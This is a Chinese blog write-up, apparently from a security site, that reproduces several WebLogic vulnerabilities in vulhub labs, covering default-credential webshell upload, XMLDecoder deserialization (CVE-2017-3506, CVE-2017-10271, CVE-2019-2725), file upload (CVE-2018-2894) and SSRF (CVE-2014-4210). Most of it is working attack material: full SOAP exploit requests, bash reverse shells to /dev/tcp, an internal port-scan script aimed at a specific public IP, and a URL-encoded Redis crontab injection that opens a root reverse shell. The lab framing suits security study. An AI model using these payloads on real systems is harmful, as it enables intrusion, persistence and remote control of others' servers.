baierr
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

weblogic漏洞(一)
Weblogic是美国Oracle公司出品的一个应用服务器(application server),一个基于java EE的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。本文漏洞全部环境都为vulhub环境。
weak_password
输入console进入管理后台登录:
默认的密码是weblogic/Oracle@123,登录
在后台点击部署安装
上传文件
制作war包
jar -cvf xxx.war xxx.jsp
上传war包
然后一路next最后完成。
蚁剑连接:
CVE-2017-3506
xmldecoder反序列化漏洞
原因:
这当中有weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法,这个方法当localHeader1和localHeader2都不为null的时候就会把数据包中work:WorkContext标签中的数据传递给weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法,而在readHeaderOld中实例化了WorkContextXmlInputAdapter类,在这个类里会将传递过来的XML进行XMLDecoder的处理。
XMLDecoder这个方法可以将xml对象反序列化为一个map对象,但是在反序列化的过程中会执行xml标签中的命令。我们可以控制传入的xml数据,从而导致命令的执行。
验证:
访问一下目录若存在则存在:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
复现
在该页面抓包然后修改包为post,数据格式为text/xml
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: xxx.xxx.xxx.xxx:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_6809c4d9953f5afcfe906ac76fa71351=1630056737; __TOKEN_STR__=GwxrMBdYmhPjzFQjHMkGWZhSCBcKs2ph; PHPSESSID=7cn2h9mrdhgigdb4u5fp9qisjo; ADMINCONSOLESESSION=f1HhhtJG85wZsjZx6gFNDTFBFHTnpx3hJljXPn004pMGYCt7G0T0!-1612411983
Connection: close
Content-Type: text/xml
Content-Length: 611
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.8.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/baierr.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello baierr"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
这句话会写入一个baierr.jsp访问会打印,以此验证写shell
反弹shell:
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: xxx.xxx.xxx.xxx:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_6809c4d9953f5afcfe906ac76fa71351=1630056737; __TOKEN_STR__=GwxrMBdYmhPjzFQjHMkGWZhSCBcKs2ph; PHPSESSID=7cn2h9mrdhgigdb4u5fp9qisjo; ADMINCONSOLESESSION=f1HhhtJG85wZsjZx6gFNDTFBFHTnpx3hJljXPn004pMGYCt7G0T0!-1612411983
Connection: close
Content-Type: text/xml
Content-Length: 646
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1314 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
收到反弹shell:
CVE-2017-10271
介绍
3506爆出来后第一次修复,修复的地方就是在WorkContextXmlInputAdapter类中加入了方法validate来过滤,然后是只过滤了<object>标签,可以换成array,void,new等绕过。
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: xxx.xxx.xxx.xxx:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_6809c4d9953f5afcfe906ac76fa71351=1630056737; __TOKEN_STR__=GwxrMBdYmhPjzFQjHMkGWZhSCBcKs2ph; PHPSESSID=7cn2h9mrdhgigdb4u5fp9qisjo; ADMINCONSOLESESSION=f1HhhtJG85wZsjZx6gFNDTFBFHTnpx3hJljXPn004pMGYCt7G0T0!-1612411983
Connection: close
Content-Type: text/xml
Content-Length: 611
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.8.0" class="java.beans.XMLDecoder">
<var class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/baierr.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello baierr"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
CVE-2019-2725
介绍
是10271的又一绕过,CVE-2017-3506的补丁过滤了object;CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面只能跟byte类型的class;CVE-2019-2725的补丁过滤了class,限制了array标签中的byte长度。这里是换了个漏洞入口,并且利用了processRequest方法,功能是分割xml,然后把xml交给readHeadOld。
这里传入的var4的值会再次传到xmldecoder中然后就和之前一样导致命令执行。
判断
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
返回页面则存在该漏洞
在该页面发送反弹shell数据包
POST /_async/AsyncResponseService HTTP/1.1
Host: xxx.xxx.xxx.xxx:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_6809c4d9953f5afcfe906ac76fa71351=1630056737; __TOKEN_STR__=GwxrMBdYmhPjzFQjHMkGWZhSCBcKs2ph; PHPSESSID=7cn2h9mrdhgigdb4u5fp9qisjo; ADMINCONSOLESESSION=f1HhhtJG85wZsjZx6gFNDTFBFHTnpx3hJljXPn004pMGYCt7G0T0!-1612411983; JSESSIONID=Q9pvhtkLTQxpYPV2L2X8F1H4czVnHQBb2qv2LWpR2FBXj4LQPlqC!1853482677
Connection: close
Content-Type: text/xml
Content-Length: 786
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1314 0>&1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
CVE-2018-2894
原理
该漏洞需要在weblogic的开发环境中,有两个任意文件上传点:1./ws_utc/begin.do 2./ws_utc/config.do 。
weblogic中设置一个新的工作目录后会把原来目录下的全部拿到新设定的目录中,旧的目录也会存在,所以最开始我们要配置新的工作目录来让我们的访问可达,默认的访问目录是不可达的。然后就是两个上传点的选择:一是从config.do中上传keystore文件,上传后获取timestamp参数,小马路径为设置的工作目录/config/keystore/timestamp_上传的文件。二是从begin.do中上传,这条路径的话服务端会先判断目录下是否有upload目录,不存在就会创建一个,然后在upload目录下创建Rs_Upload_格式化后的时间命名的目录,小马文件名被命名为import_file_上传文件.jsp。贴一张其他师傅的图:
复现
查看weblogic的密码
docker-compose logs | grep password
首先修改为开发环境:
保存后变为开发环境。
修改工作目录为可以访问到的目录。
直接访问ws_utc/config.do这里可以直接访问到而不需要登入测试客户端,未授权访问。然后把工作目录设置成css静态文件目录,这样我们就可以无权限的访问到上传的马了。
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
1.config.do
点击下面的安全页面上传keystore文件
返回的时间戳为1630466372865,当然也可以直接上传后在前端看标签里的id。
蚁键连接,路径如下,若连接不上可以试试冰蝎马。
ws_utc/css/config/keystore/1630466372865_passwd.jsp
2.begin.do
进入路径/ws_utc/begin.do,上传测试用例
上传成功后返回包中会有路径,文件命名方式和name和filename有关,虽然会返回的测试用例导入错误是因为文件的格式和数据不能处理导致方法createUnmarshaller抛出的空指针错误,所以返回码为500是表示上传成功了。
访问路径为:
/ws_utc/css/upload/RS_Upload_2021-09-01_03-33-50_727/import_file_name_passwd.jsp
蚁剑连接
CVE-2014-4210
SSRF漏洞
在/uddiexplorer/SearchPublicRegistries.jsp出存在的ssrf漏洞,该漏洞是因为参数operator的值是被设置到Search的m_inquiry类的url属性上,然后去调用方法getResponse获取返回包,然后到findBusinessListByName方法中,在这个方法里调用了m_inquiry类里的findBusiness方法,findBusiness中使用了UDDISoapMessage中的sendMessage方法并且将之前的url属性的值也就是我们的operator传入,这个方法会去构造soap的消息然后进行发送,使用了binding.send方法发送,这个方法发送的方式就是调用URL.openConnection,这个方法就是漏洞的触发点,它对传入的url发起请求,这个过程中没有过滤,用户可以控制其发起请求。
复现
在该/uddiexplorer/SearchPublicRegistries.jsp处抓包,然后修改operator参数为本地的不同端口,因为weblogic的7001端口返回值是404,所以返回信息为404,而无法访问的会返回could not connect信息。
对于内网的网段实战中可以在/uddiexplorer/SetupUDDIExplorer.jsp查看
我们这里是vulhub的docker我们可以进入容器看一下
查看docker的id
docker ps -a
进入容器中
docker exec -it id值 /bin/bash
对内网进行探测可以用burp的爆破模块也可以使用python:
burp将数据包添加两个点,然后选择Cluster bomb模式。
在payload设置第一个从1到225,第二个导入端口的字典进行探测。
但是需要去根据不同返回数据包长度来查看比较麻烦。
python这里使用bmjoker师傅的脚本
import _thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 22):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print(final_ip)
try:
_thread.start_new_thread(scan, (final_ip,))
except:
print("error")
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://114.115.160.241:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
print(result1)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print('[!]'+final_ip + ':' + port)
except Exception as e:
pass
if __name__ == '__main__':
ip = "172.22.0"
if ip:
print(ip)
ite_ip(ip)
else:
print("no ip")
Redis通过换行符来分割每一条命令,同时在weblogic的SSRF中get请求里可以通过%0A%0D来表示换行符。
进行redis未授权访问反弹shell,写入redis计划任务,下面的意思是每一分钟就反弹shell到vps中,计划任务的位置为/etc/crontab
set X "\n\n\n\n* * * * * root bash -i >& /dev/tcp/ip/port 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
因为是get方式,将其进行url编码:
baierr%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.115.160.241%2F1314%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Abaierr
反弹的shell:
参考链接
https://www.freebuf.com/vuls/178510.html
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
